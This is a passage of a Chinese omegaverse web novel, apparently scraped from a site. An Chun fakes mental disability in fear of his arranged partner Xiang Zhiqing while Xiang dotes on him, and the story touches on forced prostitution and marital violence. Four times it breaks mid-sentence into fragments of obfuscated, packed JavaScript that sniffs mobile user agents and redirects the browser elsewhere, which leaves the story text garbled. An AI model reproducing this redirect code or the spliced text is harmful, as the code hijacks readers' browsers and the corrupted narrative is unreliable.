他都能穿越了,怎么能不相信奇迹会降临在室友身上呢? ……但如果奇迹没有降临,如果室友不会恢复,那么他会负责室友一辈子……哪怕这辈子都不结婚。 “一共四千七百五十九,”售货员将装有旧衣服的袋子递给项知擎,“请问您怎么支付?” “现金。”项知擎说。 . 买完羽绒服后,项知擎还去买了新的床上四件套,睡衣和消毒工具,又找了很久,找到家居建材市场,用较为合适的价格买了两扇门一个床和一个门锁,以及一些其他的小家具,最后搭乘安装师父的货车回到希望住宅。 室友全程都很安静,他听着耳机里播放的纯音乐,身体很轻微地摇摆着,但坐姿总体却很端正,让项知擎想起他曾经拥有的小木偶。 回到希望住宅后,项知擎并没有让室友立刻进屋,而是让他在货车里等着,自己先进去把整个房子都大扫除了一遍,又扔掉之前穿的衣服和原本的四件套,最后消了一遍毒,直到他确定整间屋再也没有一粒玫瑰花粉,才带着室友进了屋。 此时,安装师傅也恰好结束了他们的工作,屋里只剩下他们两个人。 “咕~” 室友的肚子突然在这个时候响了一下,室友低下头,茫然地睁大眼。 项知擎:!!! 糟糕!忘记给室友喂食了! 项知擎立刻穿上外套拿上钱,准备带室友出去吃饭,结果他刚准备去拉室友的手,室友就突然动了。 室友主动朝冰箱走去,他打开冰箱,从里面拿出一小条东西,咬开,张嘴就吸—— 项知擎一把冲上去将这不明物体夺走,直到看见上面写着“营养剂”这三个字,且挤到指尖尝了一口后,才把它重新还给室友。 室友咬住营养剂的开口,小口吸吮,但很快就将这支营养剂吃完了。 项知擎则愣愣地看着他。 天呐! 没有人知道项知擎此刻的激动: ——室友并不是个纯傻子,他饿了会自己打开冰箱找东西吃!!! 项知擎好像看到了奇迹降临的可能性。 他忍了一下,没忍住,还是冲上去把室友抱了起来,转了好几圈才放下,然后伸出大手,揉乱了表情晕晕乎乎的室友的头发。 “真聪明!”项知擎忍不住笑着说。 室友仰起头,顶着一头被项知擎揉得乱糟糟的头发,脸颊红扑扑地对项知擎说:“真聪明!” 他也像项知擎一样笑了起来,眼睛弯弯的。 项知擎突然感觉心脏变得很软又很暖和,他抓抓心口,忽然想有一个像室友一样的布娃娃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077648|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > . 阳光,白云,蝴蝶,草坪。 安纯感觉自己做了一场暖洋洋的梦。 他睁开眼。 他愣住。 只见他置身于一片童话般的森林里,这里有像伞一样大的红色蘑菇,有能当攀天梯一样的绿色藤蔓,有甲虫抱着蒲公英降落在地,安纯在一片小花丛里看见了一只木偶人。 《小木偶人历险记》?! 安纯想起来了!这是他七岁之前最喜欢看的一部动画片,这个动画片讲的是小木偶人的历险故事,全程没有出现过一张人脸,也没有出现过一句对话,但因为制作优良,硬生生火了十几年,近两年还出了全息版。 他正在看全息版的动画片——《小木偶人历险记》?! 安纯伸手往头上摸,果然摸到一副全息目镜,他伸手一摘,眼前的全息景象消失无踪,而他手上则出现了一个……不,这不是普通的全息目镜,这是市面上最高端的终端,售价要13999,它的特点是能变换为目镜的形状,把全息头盔便捷化,能够随时看全息电影,随时玩全息网游。 安纯抬起头,发现他仍处于希望住宅147号房,但这个房屋却变得有些不一样——房门被重新换过了,家具也有增有减,屋里多了很多石质和木质家具,而每一个家具都没有棱角,边缘是圆弧状,有些地方还裹了防撞棉。 安纯低下头,发现自己正坐在沙发上,穿着一看就很昂贵的睡衣,连拖鞋都格外舒适,看起来价格不菲。 只用了十几秒,安纯就明白了一件事——他又发病了。 项知擎带着一身星野玫瑰的花粉从霍家回来,致使他严重过敏,而在失去意识后,他的基因与腺体缺陷症再度发作,他又变成了那个只会重复别人说话的傻子。 安纯点开终端查看时间。 七天。 他整整当了七天的傻子。 上次只发病了一天,他就被林尤淼骗去申请了二类婚姻……那现在呢?他又失去了什么?! 未知的恐慌朝安纯袭来,几乎像海水一样将他吞没。 上次他是收到婚姻管理局发来的短信,才知道自己申请了二类婚姻的,那这次呢?这次他要怎么做才能知道自己过去一周经历了什么?! 安纯闭上眼,缓缓伸出手去摸自己后颈的腺体。 “滴!” 房屋门锁突然在此刻被人刷开,安纯立刻缩回手,用此生最快的速度重新戴上“全息目镜”,并靠着沙发背假装睡着了。 “咯吱。” 房门被人打开,又被轻轻关上。 衣料的摩擦声响起,空气中好像传来了另一个男人的呼吸。 项知擎? 是他吗? 不,不一定是,空气中有非常斑驳的alpha信息素的味道,那甚至是好几种alpha信息素混合在一起的气味,混乱,劣质,呛人,足以令每一个omega都深感厌恶。 “哒,哒,哒。” 拖鞋声由远至近地响起,然后在他身后停下,片刻后,又继续远离。 安纯并没有放松警惕,他甚至连呼吸都极力控制着频率,不敢表现出紧张。 “哗啦啦……” 卫生间传来一阵洗手声。 水流声结束的时候,脚步声再次由远及近地响起,只不过这一次,那人定定地停在了他身后。 紧接着,一只温凉的,粗糙的,还沾染着几分水汽的手狠狠按上他的腺体,并用力揉捏起来! 安纯藏在全息目镜下的眼猝然睁大! 11. 第 11 章 腺体是一个omega最敏感的部位。 这世间没有任何一个omega会在腺体被人如此粗暴对待的状况下,仍能安然自若,事实上,安纯此刻的信息素已经失控地逸散出来,里面惊骇、厌恶、恐惧的情绪,足以被任何一个alpha轻易捕捉。 身后那只手果然顿住。 随即,头顶传来一声轻蔑嗤笑,男人整只手紧紧掌着安纯后颈,身子则缓缓下压,一缕凛冽而陌生的信息素直直逼近! 安纯再也无法自控,他在alpha信息素即将袭上他面颊的那一刻猛地侧过头去! 他紧紧闭着眼,整个身子都在不住发抖。 最糟糕的预想发生了。 身旁的男人不是有残缺的项知擎,而是一个陌生的,有着攻击性信息素的高等alpha。 这代表着什么? 安纯即便是傻子也知道了。 事实上,这种事情在二类婚姻中并不少见。 在玛瑙星,只有走投无路或是没有丝毫进取心,也不愿工作的流浪汉,混混,瘾君子,赌鬼……才会去申请二类婚姻。 这其中,走投无路者大多会选择每月两千元的生活补助,而瘾君子和赌鬼,尤其是此类人中的alpha,却基本上都会选择一次性支取五十万的奖励金。 五十万很多,但挥霍完也是一眨眼。 钱挥霍完了怎么办?虽然他们可以去婚管局免费领取营养剂,但这种仅能饱腹的低级食物怎么能满足这些人的贪欲? 他们只能再去挣。 怎么挣? 某些快被毒瘾和赌瘾折磨疯了的渣滓把目光移向自己的omega。 他们逼迫自己的omega成为暗娼,接客地点就在政府分配的希望住宅,他们把omega收拾得漂漂亮亮,把房间的每一个角落都改造成性.爱场所,而且从不避孕。 为什么要避孕?所有迈入二类婚姻的omega和alpha都不被允许购买避孕产品,而omega每生下一个孩子,他们就能从政府那里领到10万元的奖励金,孩子生下来也不用自己养,只要打个申请,立刻就有联邦福利院的人过来把孩子接走……这是一本万利的买卖。 安纯想起自己身上柔顺的睡衣,漂亮的拖鞋,昂贵的终端,又想起房间里大改的格局,圆润的桌角,结实的家具…… 他胃部突然一阵翻江倒海,几欲作呕,可当他意识到自己想要呕吐的那一刻,他又僵住了。 他不会……也怀孕了吧? 安纯如遭雷殛。 如果、如果怀孕了呢?怀孕了怎么办?他当然不愿意留下这个孩子,但申请了二类婚姻的人是不能堕胎的,想堕胎只能去黑诊所,不但健康没有保障,而且价格昂贵……不对,这才过了七天,就算他肚子里已经孕育出了生命,也属于孕早期,可以药流,但要去哪里买药呢?黑诊所?可黑诊所到底在哪里?他又需要准备多少钱?不对,他现在具备独立出门的权利吗…… “啪。” 脸上的全息目镜突然被摘下,一张熟悉的脸映入眼帘。 是项知擎。 竟然是项知擎。 竟然是衣领和脖颈上溅着一些alpha血迹,而被他错认为是陌生alpha的项知擎。 安纯呆住。 随即眼泪一下子就掉了下来。 安纯从没想过,他有一天竟会因为看见项知擎而感到心安和快乐。 幸好是项知擎。 幸好是没有性能力且永远不会令他怀孕的项知擎 。 . 项知擎也呆了。 他没想到室友竟然会哭。 天呐! 虽然他现在有些手足无措,不知道室友为什么哭,更想立刻哄哄他,但他心里还是……好!快!乐! 这件事要从一周前说起。 . 一周前。 在室友眼睛弯弯地朝项知擎笑的时候,项知擎的心软成了浆糊。 于是在接下来的半天里,他总是有意无意地想逗室友笑。 可他讲笑话时室友只会一板一眼地重复,故意摔倒时室友也只是歪了下头,甚至一起洗澡时,他一时兴起去挠室友的痒痒,室友也只是站在花洒下呆呆地看着他,眼睛睁得大大的,没有笑。 项知擎有点沮丧。 室友好像没有自己的情绪,只会重复别人讲话,就连之前那次他看到的笑容,也只是因为他说话时笑了,室友在重复他的话时,一并将那个笑容复制了过来。 夜晚来临。 项知擎给室友穿上新买的睡衣,把他塞到被子里让他睡觉,室友闭上眼,很快就在新买的床上睡着了。 项知擎却站在他床边忧愁地叹气。 一个人如果没有自己的情绪,不会哭也不会笑,那又怎么能算是活着呢? 明明一开始看到室友会自己找东西吃,他就已经很满足了,但他就像每一个贪心的父母一样,总想让孩子更优秀一点。 突然,项知擎脑海中闪过一句话——孩子生下来不会哭,打一顿就好了。 打一顿应该就会哭了吧,会哭的话应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077649|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该也就会笑了吧? 项知擎低头看着自己的手,有点跃跃欲试。 可再抬头看看室友的小身板,他又默默把手放下了。 算了。 打坏了怎么办。 项知擎轻轻给室友掖了掖被子,转身离开室友的卧室,可就在他准备关门的那一秒,室友突然从床上坐了起来并看向了他。 月光下,室友望着他,秀气的眉却轻拧着,瓷白的脸上写满了不舍……好吧,没有,其实室友仅仅只是很轻,很轻地,拧了一下眉。 但项知擎还是立刻推门进去,欢天喜地又得意洋洋地躺到室友的床上,抱着室友睡了。 入梦前,项知擎喜滋滋地想,室友并不是没有情绪的,只是情绪比旁人要淡一些,室友现在就会皱眉,也会依恋他,好好养着,迟早有一天会大哭也会大笑,变得和正常人没什么两样。 . 但项知擎怎么也没想到,他会这么快等到这一天。 他几乎是珍惜无比又万分不舍地将室友脸上的眼泪轻轻擦掉了。 但他声音里却是藏也藏不住的笑意:“嗯?怎么哭了?” 其实项知擎也知道室友不会回答他,只会重复他说出的话,但他就是有点想听室友染着哭腔的嗓音。 . 项知擎用一种温柔到令人毛骨悚然的力度,擦掉了自己的眼泪。 明明是很怜惜的动作,由项知擎做来却多了几分漫不经心的逗弄,指尖沾着他的眼泪在他脸颊上涂来抹去,好像恨不得他再多流点泪似的。 “嗯?怎么哭了。” 他嗓音含笑,里面是毫不加掩饰的愉悦,像是在逗弄小狗。 安纯的思绪却突然从恐惧中抽离,迅速冷静下来。 他刚刚实在是杯弓蛇影了,项知擎可是被他骂了“阉货”,都强忍下愤怒,翻身去睡的男人,怎么可能用他做那种事,他想要钱,霍渊自会给他钱,只要他把自己完整留到霍渊醒来的那一刻。 至于他现在的行为……应该是在玩傻子吧。 毕竟项知擎虽然能力不足,但瘾却很大,而且癖好特殊,有网友爆料,他曾连“狗奴”都养了十二个……现在没人给他玩,他估计都快憋疯了吧。 那就让他玩吧。 反正又不会怀孕。 而且傻子才更容易让人放松警惕,不是吗? 不管是杀人,还是逃跑。 安纯抬起头,茫然地眨了眨眼,声音有点颤,还有点哑: “嗯……怎么哭啦?” 项知擎心都化了。 12. 第 12 章 项知擎忍不住揉揉室友的头发,又捏捏室友的脸,然后就开始寻找室友流泪的原因。 他的第一个怀疑对象是室友在看的动画片。 难道是说动画片里有什么生离死别或者是催人泪下的情节? 不应该啊,今天他上工前特地把室友会看的内容二十四倍速浏览了下,没看到有什么不合适的,但以防万一,他还是戴上全息目镜开始倒放动画片。 果然没有,今天的内容是小木偶人快乐地在森林里探险,遇到的最大挫折就是摔了一跤,却意外找到了一直都想要的宝藏花,室友总不会因为这个掉眼泪。 那室友为什么哭呢? 唔,想想…… 首先,他回来的时候,室友正靠在沙发上戴着全息目镜装睡。 嗯,装睡。 ——项知擎给室友买的终端是最高级的那款,沉浸式观看全息影片时,左侧的呼吸灯会闪出绿光,而使用者一旦在观影时睡着,影片就会自动停止播放,呼吸灯也会变成白色。 此时终端的呼吸灯是绿的。 项知擎心中觉得好笑。 装睡是室友今天早上才学会的技能,起因是不想起床,那现在又为什么装睡?因为不想被他拿掉全息目镜,想继续看动画片? 他昨天确实一回来就摘掉了室友的全息目镜,室友好像是有点不高兴来着。 项知擎又忍不住笑了。 于是一洗完手,他就走过来捏住室友的后颈,要揭穿他装睡的谎言——后颈是室友的敏感点,平时怎么挠痒痒都无动于衷的一个人,只要一被碰到后颈,就会立刻像受惊的兔子一样跳起来,还会滴溜溜地睁圆眼。 果然,他刚轻轻捏住室友后颈的皮肤,室友身体立刻就僵硬起来,呼吸也瞬间乱了。 项知擎没忍住笑出了声,然后俯下身去,想凑到室友耳边问他,准备装睡到什么时候? 唔,室友一定会像今天早上一样,一边装睡,一边不自觉地把他的话重复出来…… 结果他刚俯身,室友就猛地偏过头,把脸死死压在沙发靠背上,身子也在颤抖。 他察觉到不对,立刻伸手摘下室友的全息目镜——便看见室友哭了。 复盘完一切的项知擎:“……” 项知擎默默把捏着室友脸的手收回来。 室友……该不会是被他弄哭的吧? 是了。 室友最不喜欢自己碰他的后颈。 自己给他洗头时无意碰到他都要一下子跳开,并把眉头皱好久,结果自己今天不仅碰了,还揉了,捏了…… 项知擎:“……” 项知擎觉得自己有罪。 更让项知擎觉得自己有罪的是,即便他已经松开了捏着室友的手,室友仍旧皱着眉头看他,还把身子狠狠后仰,一副对他唯恐避之不及的模样。 这让项知擎想起,以往他每次下工回家,室友都是这副表情,不但皱着眉看他,还会绕着他走,只有他洗过澡后才会让摸让抱。 可他今天没洗澡,只洗了手,还用这只仅洗了一遍的手碰了室友最不喜欢被碰的后颈。 项知擎:“……” 项知擎觉得自己罪无可恕。 项知擎立刻滚去洗澡了。 . 安纯并不清楚自己发病时会有怎样的具体表现,甚至连重复别人说话这件事,他也是从婚姻申诉中心那段10分23秒的监控视频里猜到的。 但他清楚,哪怕是一个傻子,也会对混乱的信息素表现出明确的不喜。 于是他后仰着身子,紧皱着眉头,一副受不了项知擎身上信息素的模样。 项知擎果然转身进了浴室。 安纯轻轻松了一口气。 没想到项知擎对傻子的容忍度还挺高。 . 但显然,他松气松得太早了。 二十分钟后,在安纯正带着全息目镜,在无痕网页上仔细研读那篇名为《我是怎么杀死那头大象的》的论文时,浴室的门开了。 安纯不动声色地迅速关闭论文,并把半全息模式改为全息模式,继续看起动画片。然而数秒后,全息目镜再度被人摘下,一个高大的,浑身上下都散发着浓郁香皂气息的半裸男人把他抱了起来,他的脸颊僵硬地贴在男人沾染着水珠的滚烫胸肌上。 “先一起去洗澡吧,洗完澡再吃饭。” 项知擎低低笑起来。 安纯僵硬得像条死鱼,他仰头看着天花板,脑子像灌进了水泥,他不愿意去想现在发生的事和即将要发生的事,却又不得不呆呆重复:“先一起去洗澡吧……洗完澡再吃饭……” 浴室雾气缭绕,水气正浓,项知擎按下置物架上音响的开关,轻快的纯音乐在浴室回荡。 项知擎一边给他脱衣服,一边挑眉问他:“怎么不摇摆了?又不喜欢这首音乐了?” 安纯:“……” 安纯跟着音乐的节拍,屈辱而僵硬地摇摆起身体:“怎么不摇摆了……又不喜欢这首音乐了……” 项知擎惊异:“今天这么高兴?” 安纯:“……” 安纯僵硬地调小了摇摆的幅度,生无可恋地重复:“今天这么高兴……” 好在他也没摇摆多长时间,因为下一秒,项知擎又单手把他抱了起来,脱掉了他的裤子和内裤。 安纯:“……” 安纯低头看着浴室瓷砖上面的花纹,在想自己为什么不是个真傻子。 但是很快他又没办法低头了,因为项知擎“刷”地一下扯掉了下半身的浴巾,而安纯毫无征兆地看到了他不想看到的东西。 安纯:“………………” 安纯缓慢而呆滞地抬起头,庆幸项知擎是个阉货。 项知擎打开花洒,开始给他洗澡,安纯在被洗头发的时候闭上眼,在被洗身子的时候仰起头,他脑子浑浑噩噩,目光尽力不去触及那抹肉色,他要忍住不去感知那双作乱的手,他要控制住自己的心跳,他要摒弃一切羞耻和生理性的排斥,他要一直对自己洗脑:“我是傻子,我是傻子,我是傻子……” 最可悲的是,在这种艰难而痛苦的场景下,在他的内心正雪山崩塌,岩浆爆发,幻想世界里成千上万的人正在成批死去的悲惨时刻,他的身体竟然还要如海草般轻盈摇摆。 突然,项知擎的动作突兀停下:“嗯?” 安纯:“……” 安纯内心一阵绝望。 傻子也会因为别人给自己洗澡而出现生理反应吗?安纯不知道。但他知道这场洗浴终于要开始变味道了,变态怎么会放过这个玩弄傻子的机会呢?! 安纯闭上眼,准备坦然迎接接下来一切会发生的。 是什么呢? 束缚?道具?捆绑?滴蜡? 傻子要怎么表现出痛苦呢?要流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077650|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪吗?要尖叫吗?还是说只对疼痛表现出抗拒,对其他一切人格上的侮辱和轻微的束缚,只睁大眼,假装很茫然? 项知擎关掉花洒,喉间溢出一声笑。 “啪。” 很明显的打开推拉门的声音,项知擎是要出去吗?拿道具? 项知擎拉着他出去了。 哦,原来是要出去做。 可项知擎的脚步只走了两步就停下,安纯睁开眼,看见项知擎打开他面前的马桶圈。 安纯:“……” 安纯:“???” 安纯简直感觉不可思议。 项知擎以为他要上厕所?项知擎这么……单纯的?他不会是天阉吧?! 安纯看着项知擎背影的目光都有点不对劲了。 推拉门被重新关好,安纯低下头深吸一口气……并后知后觉感知到羞愤。 没事的。 安纯坍塌下肩膀,用颤抖的手捂住自己滚烫的脸,收拢自己混乱的信息素,然后在心里不住默念:“我不羞耻,我不羞耻,我不羞耻,这只是正常的生理反应,说明我是个健康的omega,并不是我……放荡……” 结束自我安慰后,安纯狠狠掐了自己一把,于是正常的生理反应也以不正常的方式迅速平息。 然后他深呼吸了几次,面无表情地拉开门,走了出去。 项知擎正在调试水温,见他出来,便把他拉过去,为他冲洗身上沐浴露的泡沫。 ……终于要结束了。 . 安纯原以为项知擎说的“洗完澡再吃饭”中的“饭”是两支营养剂,没想到竟是真的……饭。 两人刚穿上干净的睡衣走出浴室,门铃便适时响起,项知擎把他摁到餐椅上,自己去开门。 很快,项知擎就提着餐盒回来了。 安纯认出,这是一家很有名的品牌餐厅,以营养干净著称,但价格却很不便宜,有些父母会给孩子点这家的外卖,可这家连儿童餐都要两三百。 项知擎把饭菜全部打开,用筷子和勺子一口一口喂给他,安纯垂着眼,僵硬地张嘴,咀嚼,咽下。 就在他感觉自己已经吃饱了,想着要不要拒绝下一次喂食的时候,项知擎放下勺子,摸了摸他的头,并拿起筷子风卷残云般将剩下的饭菜全部吃完了。 安纯神色复杂地看着他。 ……这就是变态玩弄傻子的方式吗? 好新奇啊。 但安纯并没有因此就放下戒心。 怎么能相信变态的好呢。 要知道,那名被项知擎活活勒死的omega,也曾用小号在社交平台上,用一种似乎要在幸福里溺亡的语气说——xzq对我好好哦,他好像是真的喜欢我。 . 安纯一直保持着高度紧绷的心理状态,可直到夜晚来临,两人面对面躺在同一张床上,项知擎搂住他陷入梦乡,他所预想的一切也全都没有发生。 室友的呼吸终于平稳。 项知擎神色复杂地睁开眼。 室友今天……好像有点不对劲。 洗澡的时候不玩泡沫了,吃到喜欢的菜也不翘脚了,最重要的是,刚刚自己笑着对他说晚安的时候,他只重复了晚安,没有笑。 项知擎低头看着室友头顶的发旋。 心中悲愤地想—— 他以后再也不手贱去捏室友的后脖子了!!! 13. 第 13 章 早上7:30。 安纯被项知擎从被窝里扒出来,更换运动服,简单洗漱,并带出去晨跑。 早上8:00。 安纯被项知擎带回家,抱去冲澡,更换家居服,投喂依旧昂贵的早餐。 早上8:55。 安纯被抱到沙发上,戴上全息目镜,开始观看动画片《小木偶人历险记》,与此同时,项知擎出门,去“上班”。 早上9:00。 安纯把全息的观影模式调节成半全息模式,打开终端上的侦查功能,在确定整间房屋都没有任何监控设备的情况后,便换了个姿势靠在沙发上,查阅文章《流浪札记》《我当逃犯那些年》《户外生存技能指南》,倍速观看视频《城市“隐形人”访谈录》,最后又在论坛上深度冲浪,摸到了一个小众论坛,从网友口中得到了玛瑙星“垃圾区”的所在地。 听说那里鱼龙混杂,脏乱不堪,到处都是游走在灰色地带的混混、娼妓,以及毒瘾患者。在那里租房,不需要提供任何身份证明,甚至还有“大佬”能弄到其他星球的船票。 安纯心中一动。 他退出论坛,关闭终端,用很迅速的动作重新换上自己那件略显破旧的黑色棉衣,又戴上帽子和口罩。 是的,他现在就准备逃跑。 哪怕他的准备并不充分,但那又如何呢?事实上,如果不是“逃婚”会让政府采取强制措施,而他账户里的钱财和个人行动路线,在待婚期间均属于高度监管状态,那么从婚姻申诉中心和警察局出来的那一天,他就应该逃跑了。 项知擎对他很好,甚至好得有点诡异,可养猪人对猪也很好,甚至还会在猪圈装空调,但这照样不影响他们提起屠刀。 他一刻也不想等。 安纯在终端上翻看地图,规划自己的逃跑路线,首先,他会去银行取出自己所有的存款,有一万三,然后,他拿着这一万三千元的现金前往垃圾区,路上,他当然还是会乘坐公共列车,但他每次乘车都会使用现金购买的一日通票,一日通票可以在当天范围内乘坐玛瑙星的所有公共列车,这样系统就无法查询到他的路线…… 而且现在是雪季,他会购买不同颜色的帽子、围巾和口罩,把自己裹得严严实实,每次换站都更换款式,保证不被监控捕捉到身影。 安纯深吸一口气,放下手中不属于自己的终端,按下门把,开始走出这座牢笼。 “啪!” 房门毫无反应。 安纯呆住。 他又握着门把手往下压了好几下,才不得不接受房门已经被项知擎反锁了的事实。 紧接着,他又迅速查看了房间里的每一个窗户,却绝望地发现房间的窗户全都更换了新款,不仅变成了防弹玻璃的材质,还全部上了锁。 安纯:“……” 安纯低头拿起终端,开始拨打开锁号码:“您好,我意外被锁到家里了,请问您可以尽快来开锁吗?” 开锁师傅:“当然可以,我现在马上出发,请问您的地址是?” 安纯嘴巴张了张:“希望住宅……” 他停顿了一下,没继续说出门牌号。 但他已经得到了回答。 开锁师傅很长地“啊”了一声,然后说:“您是omega吧,我们有规定,希望住宅的开锁业务都是要征得伴侣同意的,当然,这并不是针对你们omega,就算是alpha来申请开卧室锁,我们也要询问omega的意见……您住多少号?我们……联系一下您的alpha?” 安纯:“……抱歉,不用了。” 他很快挂了电话,低下头,苍白的手指从门锁上无力滑下。 . 项知擎12:05准时到家。 他接过外卖员手中恰好送达的午餐,轻轻打开房间的门,室友果然还坐在沙发上看动画片。 项知擎把午餐放到餐桌上,飞快冲了个澡,这才轻手轻脚地走过去,摘掉室友的全息目镜:“小安,中午好!” 室友抬起头,眼睛笑得弯成了月牙:“小安,中午好!” 项知擎捂住心脏,感觉被击倒。 . “我去上班了,”吃过午饭,项知擎移开客厅的沙发和茶几,铺上爬爬垫,在上面放置了很多儿童玩具,然后把室友放进玩具围城,摸摸他的头,“今天会早点回来。” 室友照例将这句话重复出来,说完后却仰着头,轻轻拉着他的袖子不松手。 项知擎:“……” 哪怕项知擎一拳能砸穿巨石,此刻却觉得拼尽全力亦无法挣脱室友的手。 项知擎:“……” 项知擎有些艰涩地轻声开口:“怎么了?小安不喜欢玩积木?想继续看动画片……?” 他一边说着,一边重新把终端变成全息观影的模式,可室友眼睛却一刻也没往全息目镜上看,只眨眨眼望着他,手指依旧轻轻扯着他的衣袖。 项知擎:“……” 项知擎感觉心脏被击穿。 他几乎是颤抖着手给工头请了假,信息里的错别字让工头皱了五回眉头。 项知擎一把抱起室友,把他抛起来又接住,并开心宣布:“今天我哪儿也不去,只陪你!” 脑袋差点磕住天花板的安纯:“……” . 三天,接下来的整整三天,项知擎都没去上班,因为他一出门,室友就会拉着他的衣袖,于是他就会用一天的时间陪室友一起搭积木,一起看动画片,一起打雪仗,一起逛温室植物园。 直到第四天,项知擎看着账户里只剩下三位数的余额,默默看向室友依旧拽着他衣袖的手,咬牙宣布:“走吧,今天带你去上班!” 身后的安纯无声松了一口气。 终于…… 安纯以为项知擎的“工作”定不是什么正经工作,说不定只是霍家随手丢给他的一个肥差,可来到项知擎的工作场地,他却呆住了。 项知擎……在矿区工作? 玛瑙星多玛瑙,多宝石,多矿,不少身强力壮,甚至并不身强力壮的底层劳动男性都会选择这个职业,但安纯没想到项知擎也会来挖矿。 他几乎是怔怔地看着项知擎穿上安全服,戴上矿工帽,脑海里不自觉地想起手腕上昂贵的终端,衣柜里不菲的服饰,和每天吃下的加起来足有上千元的美味营养餐。 他几乎是不自觉地后退了一步。 这让项知擎正准备给他穿上安全服的手悬在半空,项知擎愣了一下,他刚想上前一步拉住室友,室友竟转身跑了! 项知擎:“!!!” 项知擎心中大惊,立刻大步跟上,他当然两秒就追上了室友,但他却并没有把室友拉回来,而是一步也不错地跟着他,想看室友到底准备往哪里跑。 室友跑出更衣区,跑出准备区,甚至跑出矿区。 数分钟后,室友跑到一个巨大而简陋的充气城堡面前,扒着城堡的围栏,踮着脚尖往里面看,眼睛亮晶晶的,充满希冀。 项知擎:“……” 项知擎感觉好笑,又觉得心里软软的,这个城堡并不精美,在里面玩耍的儿童也大多是矿工子女,没想到室友竟对这个感兴趣。 如果不是手里的钱连明天的饭都吃不起了,项知擎是很不介意再翘一天班,陪室友在这里玩的。 但是…… 项知擎叹了口气,准备狠下心肠,冷酷无情地拒绝室友的合理要求。 然而下一秒,室友忽然摘下降噪耳机,凑过来在他脸颊上亲了一口:“……我在这里等你下班!” 项知擎呆住。 足足过了七八秒,他才意识到室友并不是学会了自己说话,也不是突然就主动亲了他,而是旁边……有一个四五岁的小男孩正对他的家长做同样的事情。 室友在学他。 可是,可是…… 项知擎几乎是同手同脚地去老板那里付了款,并得到了三遍一定会“保证孩子安全”的誓言,这才浑浑噩噩地离开了。 可两分钟后,他又狂奔回来,把室友的终端设置成儿童安全模式,揉揉……好吧,把正准备揉室友头发的手莫名其妙地收回来,然后又检查了室友的耳机,这才在工头不断打来的催促电话里飞奔离去了。 而在他的背后。 安纯的脸色黑了又白。 他低下头,几乎是死死盯着那个像是焊在自己手腕上,怎么掰都掰不下来,且已经开了自动定位功能的终端,气得简直能喷火。 五分钟后。 安纯冷漠无情地坐在充气大城堡的秘密钻洞里,冰凉的指尖在手腕终端的屏幕上狂点,几乎是眨眼之间就看完了十三部杀夫电影的倍速解说和那篇《我是怎么杀死那头大象的》。 . 项知擎今天挖矿挖得很躁动。 不对,他也不算是挖。 他只是把手放到矿壁上用力一震,泥土和岩石便被粉碎成灰,露出里面的矿物和宝石。 而项知擎要做的只是走过去,把那些矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077651|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物和宝石轻松“摘”下来。 但他今天却总是走神,又有点控制不好力度,有好几次差点连宝石都震裂,还有一次,直接搞得整个矿洞都地动山摇,吓得工头给他打了十几个电话。 “你用X50炸弹啦?”工头大惊,“这个炸弹力度很大,用它炸矿要提前打申请,还要计算方位,否则很容易出人命的!” “不会出人命,”项知擎淡淡道,“洞里就只有我一个人。” 由于工作效率实在太高,工作时发出的动静也实在与众不同,因此项知擎负责一个独立的矿洞。 项知擎停顿了一下,说:“今天挖的这部分又有隔绝石。” 隔绝石是一种新发现的岩石品种,却已经成为了矿工们和矿场主最讨厌的东西,这些石头坚不可摧,普通的炸弹根本无法将他们摧毁,但威力更大的炸弹却有可能炸塌矿洞,甚至出人命。 可又不能不管这些石头,它能够隔绝仪器的探测,将宝石完全藏匿于身后,因此见到这种石头,矿工们只能拿着小锤子一点一点地撬,很是磨人。 但这对项知擎来说根本不是事儿。 工头:“你今天工资二十倍!” 项知擎满意地点了点头。 项知擎在这边干活的工资是日结,但由于他每天挖出来的矿都是别人的十倍不止,因此即便他每天晚到早走,中午还要回去吃饭,他的工资也是别人的十倍。 项知擎又说:“我今天还要拿走一块隔绝石。” “随便,”工头大手一挥,“你全拿走也没人管你!” 